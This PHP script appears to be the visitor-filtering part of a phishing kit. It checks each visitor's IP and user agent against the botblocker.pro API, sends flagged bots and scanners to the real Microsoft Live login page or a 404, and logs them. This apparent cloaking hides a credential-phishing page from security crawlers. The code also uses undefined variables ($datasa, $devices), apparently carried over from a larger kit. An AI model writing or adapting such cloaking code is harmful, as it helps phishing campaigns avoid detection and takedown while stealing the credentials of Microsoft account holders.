<?php
$json_data = file_get_contents('function/config.json');
$config = json_decode($json_data, true);

$RedirectURL = "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=16&ct=1692807460&rver=7.3.6960.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2frpsauth%2fv1%2faccount%2fSignInCallback%3fstate%3deyJSdSI6Imh0dHBzOi8vd3d3Lm1pY3Jvc29mdC5jb20vZW4tZ2IiLCJMYyI6IjIwNTciLCJIb3N0Ijoid3d3Lm1pY3Jvc29mdC5jb20ifQ&lc=2057&id=74335&aadredir=0";

if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
    $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
        
switch(true){
    case (filter_var($client, FILTER_VALIDATE_IP)):
        $Ip = $client;
        break;
    case(filter_var($forward, FILTER_VALIDATE_IP)):
        $Ip = $forward;
        break;
    default:
        $Ip = $remote;
        break;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://botblocker.pro/api/v1/blocker?ip=".$Ip."&apikey=".$config['BotBlockerApi']."&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
$response = curl_exec($ch);
switch(true){
    case !$response:
        file_put_contents("botblocker.txt", "[".date("D/m/y H:i:s")."] -> Request Timeout\r\n", FILE_APPEND);
        break;
    default:
        $resp = json_decode($response, true);
        switch(true){
            case $resp['meta']['code'] == 200:
                switch(true){
                    case $resp['data']['is_bot'] == 1 && !empty($RedirectURL):
                        header("Location: ".$RedirectURL);
                        $log_entry = "{$_SERVER['REMOTE_ADDR']}|".date('Y-m-d H:i:s')."|{$datasa['country']}|BOTBLOCKER|$devices|{$_SERVER['HTTP_USER_AGENT']}\r\n";
                        file_put_contents('log/robot.log', $log_entry , FILE_APPEND);
                        die();
                        break;
                    case $resp['data']['is_bot'] == 1 && empty($RedirectURL):
                        http_response_code(404);
                        $log_entry = "{$_SERVER['REMOTE_ADDR']}|".date('Y-m-d H:i:s')."|{$datasa['country']}|BOTBLOCKER|$devices|{$_SERVER['HTTP_USER_AGENT']}\r\n";
                        file_put_contents('log/robot.log', $log_entry , FILE_APPEND);
                        die();
                        break;
                }
                break;
            case $resp['meta']['code'] == 400:
                echo "error";
                file_put_contents("botblocker.txt", "[".date("D/m/y H:i:s")."] -> ".$resp['message']."\r\n", FILE_APPEND);
                break;
            case $resp['meta']['code'] == 401:
                echo "error";
                file_put_contents("botblocker.txt", "[".date("D/m/y H:i:s")."] -> ".$resp['message']."\r\n", FILE_APPEND);
                break;
            default:
                file_put_contents("botblocker.txt", "[".date("D/m/y H:i:s")."] -> Unknown error\r\n", FILE_APPEND);
                break;
        }
        break;
}